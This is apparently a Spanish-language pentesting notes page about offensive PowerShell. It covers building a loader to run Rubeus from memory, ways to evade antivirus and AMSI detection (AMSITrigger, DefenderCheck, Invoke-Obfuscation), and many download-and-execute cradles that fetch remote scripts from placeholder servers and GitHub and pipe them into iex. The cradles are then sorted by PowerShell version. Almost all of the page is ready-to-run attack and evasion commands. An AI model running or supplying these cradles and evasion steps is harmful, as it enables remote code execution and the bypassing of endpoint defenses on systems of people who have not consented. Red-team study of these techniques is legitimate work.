{% code overflow="wrap" %}
```powershell
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
```
{% endcode %}
```powershell
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"
```
### Bypass de firmas conocidas en el código
Algunas formas de evadir las protecciones son:
* Carga en memoria (*fileless*).
* Identificación de las partes del *script* que son detectadas.
* Ofuscación completa del script.
#### Carga en memoria
```powershell
iex (iwr 'http://192.168.10.100/PowerView.ps1').Content
```
#### Identificación de partes detectadas
* AMSITrigger: Te dice qué línea/parte del script dispara AMSI.
```powershell
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
```
* **DefenderCheck:** Escanea un script y te indica qué strings son detectados por Windows Defender.
```powershell
DefenderCheck.exe PowerUp.ps1
```
Esto te devuelve la **posición en bytes** donde hay una detección. **Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.**
```powershell
. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2
```
#### Ofuscación completa
* [**Invoke-Obfuscation**](https://github.com/danielbohannon/Invoke-Obfuscation)**:**
* Renombrar funciones y variables.
* Codificar partes sensibles (ejemplo: `"Invoke-Mimikatz"` se convierte en algo ilegible).
* Generar payloads en múltiples formatos (base64, rot13, string split, etc.).
## Descarga de ficheros
### **One-liners de descarga**
{% code overflow="wrap" %}
```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content
Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code
iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')
$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText
$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe
.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"
```
{% endcode %}
### Consideraciones sobre versiones de PowerShell
#### **PowerShell v1 (2006, Windows XP/2003)**
{% hint style="warning" %}
* No existe `Invoke-WebRequest (iwr)`.
* Solo soporta **SSL3/TLS1.0** → no puedes descargar de GitHub/modern HTTPS (requiere TLS1.2).
* Solución: usar tu propio servidor HTTP (sin TLS o con TLS1.0).
* Alternativas:
* `Msxml2.XMLHTTP`
* `InternetExplorer.Application` (COM)
{% endhint %}
Ejemplo:
{% code overflow="wrap" %}
```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```
{% endcode %}
#### **PowerShell v2 (2009, Windows 7 / 2008R2)**
{% hint style="warning" %}
* Sigue sin existir `Invoke-WebRequest`.
* Mismo problema con TLS moderno (solo TLS1.0).
* Todavía bastante usado en entornos legacy → ideal para labs.
{% endhint %}
Ejemplo:
{% code overflow="wrap" %}
```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```
{% endcode %}
#### **PowerShell v3 (2012, Windows 8 / 2012 Server)**
{% hint style="success" %}
Ya existe `Invoke-WebRequest`
{% endhint %}
{% hint style="warning" %}
* `iwr` es más “verboso” y puede lanzar errores si no usas `.Content`:
iex (iwr 'http://servidor/payload.ps1').Content
* TLS1.2 todavía no activado por defecto, a veces es necesario forzarlo:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
{% endhint %}
Ejemplos:
```powershell
iex (iwr 'http://servidor/payload.ps1')
```
#### **PowerShell v4 (2013, Windows 8.1 / 2012R2)**
{% hint style="warning" %}
TLS1.2 sigue sin estar por defecto, mismo workaround que en v3.
{% endhint %}
#### **PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)**
{% hint style="warning" %}
* Aquí entran en juego defensas modernas:
* **Script Block Logging**
* **AMSI (Antimalware Scan Interface)**
* **Constrained Language Mode**
* Muchos cradles empiezan a ser detectados por EDR.
* Se usan técnicas de **obfuscación** (Invoke-Obfuscation) o bypasses AMSI.
{% endhint %}
Ejemplos:
```powershell
iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
```
```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```
#### **PowerShell Core (6, 7 → multiplataforma, 2018+)**
{% hint style="warning" %}
* No existen COM objects (`XMLHTTP`, `InternetExplorer.Application`) → ya no funcionan esos cradles.
* AMSI y logging siguen activos.
* Al ser cross-platform, no todo el arsenal clásico (ej. PowerView\.ps1) funciona directamente.
{% endhint %}
Ejemplos:
{% code overflow="wrap" %}
```powershell
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result
```
{% endcode %}
###
[^1]: Comando corto de descarga de scripts o payloads desde internet o intranet que se ejecuta directamente en memoria, sin guardar en disco.
